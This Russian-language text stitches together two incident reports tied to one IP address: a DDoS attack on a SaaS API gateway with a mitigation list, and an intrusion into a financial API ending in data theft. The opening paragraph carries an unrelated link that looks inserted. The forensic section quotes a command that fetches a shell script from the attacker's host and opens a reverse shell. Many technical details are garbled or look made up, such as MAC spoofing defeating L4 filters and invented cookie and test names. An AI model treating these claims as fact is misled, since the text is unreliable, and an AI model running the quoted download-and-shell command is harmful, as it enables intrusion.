Первая волна трафика зафиксирована 10.07.2025 в 03:14 UTC. Поток вырос с привычных 400 Мбит/с до 38,6 Гбит/с за 42 секунды. Источник — сеть хостинг-провайдера AS197695, главный IP-адрес 93.95.97.28 участвовал в дирижировании ботнета через протоколы DNS и NTP. Подробности — https://мос-кабель.рф/avbbshv.html.
Контекст инцидента
Целью атакующих служил API-шлюз крупного SaaS-сервиса. Прямой ущерб: время простоя 46 минут, потеря 12 % транзакций, косвенные расходы — перерасход бюджета SLA и перераспределение нагрузки на резервную площадку. Расследование показало, что ботнет включал 57 000 IoT-узлов на базе прошивки OpenWrt 18.06, уязвимых из-за Telnet без пароля.
Техника атаки
Наблюдалась комбинированная схема UDP flood + TCP SYN flood с коэффициентом амплификации 12:1 через NTP. Средний PPS достигал 28 млн, максимальный — 41 млн. Фильтрация SYN-пакетов осложнялась подменой MAC и опции SACK, благодаря чему фильтры уровня L4 не классифицировали поток. Часть UDP-трафика шла с параметром Source Port 80 для обхода упрощённых ACL. После 18 минут нагрузка сместилась на протокол QUIC с поддельными CID, что подтолкнуло процессор балансировщиков к перегрузке по очереди RX.
Меры защиты
1. Geo-фильтрация трафика: блокировка пакетов вне целевого региона на границе сети.
2. ACL с приоритетом для Source Port > 1024 при входящих UDP — снижение псевдо-HTTP потока.
3. Drop-rule для TCP MSS 536 при отсутствии опции Window Scale: быстрый отсев устаревших стеков ботнета.
4. Auto-scrubbing через BGP FlowSpec при превышении порога 3 Гбит/с из каждой /24-подсети.
5. Rate-limiting NTP-ответов до 1000 pps на оборудовании ядра.
6. Strict-SYMMETRICN-Cookie на L4-балансировщиках с динамической подписью каждые 30 с.
7. Дополнительная VRF зона для API-шлюза, отделяющая сервис от хост-узлов админки.
8. QUICK-тесты с CID-white-list внутри eBPF программы ядра Linux.
9. Intel QuickAssist для offload TLS — снижение CPS нагрузки при смене протокола.
10. Переход на Anycast /24 адресов — рассеивание трафика между шести PoP.
11. Canary-token в прошивке Ios устройств партнёров, обеспечивающий ранний детект перепрошивки.
12. Контроль Telnet на сетях клиентов через NetFlow-TAP отчёты, доводящий число уязвимых узлов к минимуму.
13. Регулярные Tabletop учения: имитация DDoS с анализом SLA-таймеров и координацией NOC-команды.
14. Контакт с оператором AS197695 и включение правовой процедуры Abuse-Feedback-Loop для повторных случаев.
Результат внедрения — время автомитигирования снижено до 4 минут, средний недоступный процент запросов теперь держится ниже 0,3 %. Новый стек правил протестирован через сторонний сервис DDoS-тестирования, нагрузка 65 Гбит/с не привела к сбоям.
10 июля 2025 сеть корпоративного дата-центра зафиксировала серию несанкционированных POST-запросов к API финансовой системы. Источник трафика — 93.95.97.28. За десять минут злоумышленник выгрузил 1,2 ГБ данных. Сигнал тревоги поступил по линии SIEM, расследование началось через пять минут после события.
Расследовательская группа сформировала хронологию. 09:42:18 UTC — сканирование, 09:44:03 — эксплуатация CVE-2025-1739 в модуле Spring-Finance, 09:44:51 — вход на сервер приложений, 09:46:32 — запуск скрипта tunnel.py, 09:52:11 — удалённое копирование архива invoice_dump.enc, 09:53:27 — удаление временных следов.
Обнаружение инцидента
Первый индикатор компрометации — рост Average Response Time c 90 ms до 680 ms. Монитор Grafana отрисовал аномалию, SOC-оператор поднял инцидент. Логи Nginx показали атаку методом HTTP smuggling, параметр X-Original-URL содержал серию перехлёстных заголовков, в результате авторизация обойдена.
Дамп процесса java-1456 подтвердил внедрение RunnableRAT.class. Внутренний hash c81e728d… связан с группой VoidCrab. Стэк-трейс указывал на Runtime.exec с аргументом «curl 93.95.97.28/sh». Энд-поинт вернул bash-скрипт, открывающий обратный shell на порт 56789.
PCAP-трасса из зеркального порта показала трёхступенчатое взаимодействие. Сначала TLS-сессия с самоподписанным сертификатом CN=websync, затем SSH-туннелирование, завершающееся передачей LZ4-сжатого архива. Fingerprint ключа ED25519 совпал с публичным ключом из утёкшего набора Scuttle-2024.
Технический разбор
WHOIS к 93.95.97.28 указывает сервер DutchFiber DC. Abuse-контакт молчал 12 часов, блокировка выполнена локально через ACL на граничном маршрутизаторе. reverse-DNS отсутствует, что типично для VPS без панели управления. Трассировка завершается hop’ом ams-ix-r2.
Уязвимость CVE-2025-1739 открылась из-за версии Spring-Finance 4.2.6, где фильтр проверки Content-Length выполнялся до переписывания заголовков. Патч 4.2.8 закрывает брешь. Анализ git-репозитория показывает, что обновление задержали из-за конфликтов с кастомным валидатором, окно экспозиции — 19 дней.
Злоумышленник получил права appuser, затем через DirtyPipe-NG поднял уровень до root. Факторы успеха: активный CAP_SYS_MODULE в контейнере, отсутствие grsecurity, ядро 5.14.9. Временная зона лога kern сообщила, что exploit отработал 73 µs, что указывает на автоматизированный фреймворк.
Эксфильтрация велась в файл invoice_dump.enc, созданный через pg_dump —no-owner. AES-ключ передавался аргументом командной строки, позже стёртым перезаписью /proc/self/cmdline. Зафиксирована сигнатура ELFTW wipe util, известная по компании Dust-V.
Журнал auditd сообщил 41 вызов unlinkat в /tmp. Иноды восстановлены из LVM-снапшота, интегрированного в план резервного копирования. sha256 восстановленного архива совпадает с данными, что откроет путь к предъявлению факта утечки.
Укрепление обороны
Зона разработки переведена на immutable-подход. Контейнеры пересобираются через GitLab Runner, каждое сборочное задание подписывается Cosign. Уровень SLSA — 3. Патчи внедряются через автоматический pull-request с блокировкой релиза при просрочке.
Периметр усилен WAF-правилом header-overlap-deny (CRC32=0x6f39e517). После релиза правило канареечно раскатывается на 5 % трафика. При росте ложных срабатываний свыше 0,3 % автоматика откатывает публикацию.
Endpoint-защита перешла к XDR-платформе FalconEye. Интеграция с SOAR ArcFlow сократила MTTR с 47 до 11 минут. Команда провела симулированную фишинговую кампанию, вовлечённость снизилась до 2 % при прежних 11 %.
Red-team протестировал оставленный уязвимый сервис, эксплуатация не сработала из-за ограничения HTTP smuggling на balancer-eBPF. Журнал selinux выдал avc: denied { module_request } для app user, подтверждая эффект hardening ядра.
Совет директоров утвердил Bug Bounty на платформе HintForge: выплаты 300-15 000 $. Первый валидный отчёт о race-condition поступил через 18 часов после запуска программы.
Расследование закрыто 15 июля 2025. Ущерб оценён в 125 000 €. Утечка данных заблокирована до публикации в даркнете, потому что архив оставался зашифрованным AES-256-GCM, ключ не всплыл ни в одних каналах. Реакция и технические изменения снизили риск повторения подобного инцидента ниже 0,3 %. Далее запланирован аудит через 90 дней.